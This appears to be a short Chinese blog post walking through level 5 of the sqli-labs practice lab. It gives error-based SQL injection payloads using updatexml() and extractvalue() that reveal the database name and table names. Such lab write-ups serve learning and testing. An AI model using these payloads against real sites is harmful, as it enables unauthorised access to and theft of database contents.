sqllabs第五关updatexml报错注入

-1' and updatexml(1,concat('~',database(),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 1,1),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 3,1),'~'),1) --+

下面的都可以按照上面的大家要学会语法

还有下面还有个拓展函数也是报错函数

extractvalue()

id = -1' and (extractvalue(1, concat(0x5c,(select database()))))--+

相关推荐
顶点多余几秒前
MysqL---表的内外连接 (重点)
数据库·mysql
6+h5 分钟前
【MySQL】锁机制详解
数据库·mysql
xyyaihxl6 分钟前
mysql中主键索引和联合索引的原理解析
数据库·mysql
七夜zippoe10 分钟前
Python错误追踪终极指南:Sentry集成与深度定制实战
数据库·python·sentry·告警策略·错误追踪
lihao lihao17 分钟前
MySQl复合查询
数据库·sql·mysql
aq553560019 分钟前
MySQL-触发器(TRIGGER)
android·数据库·mysql
xcLeigh20 分钟前
从 Oracle RAC 到金仓高可用集群:平滑切换的架构对比与落地指南
数据库·oracle·架构·集群·数据清洗·kingbasees
blurblurblun28 分钟前
Redis底层专题(1)------ sds字符串
数据库·redis·缓存
深蓝轨迹32 分钟前
SQL优化及实战分享
java·数据库·sql
数据知道35 分钟前
MongoDB安全加固最佳实践:CIS基准符合性检查与实施步骤
数据库·安全·mongodb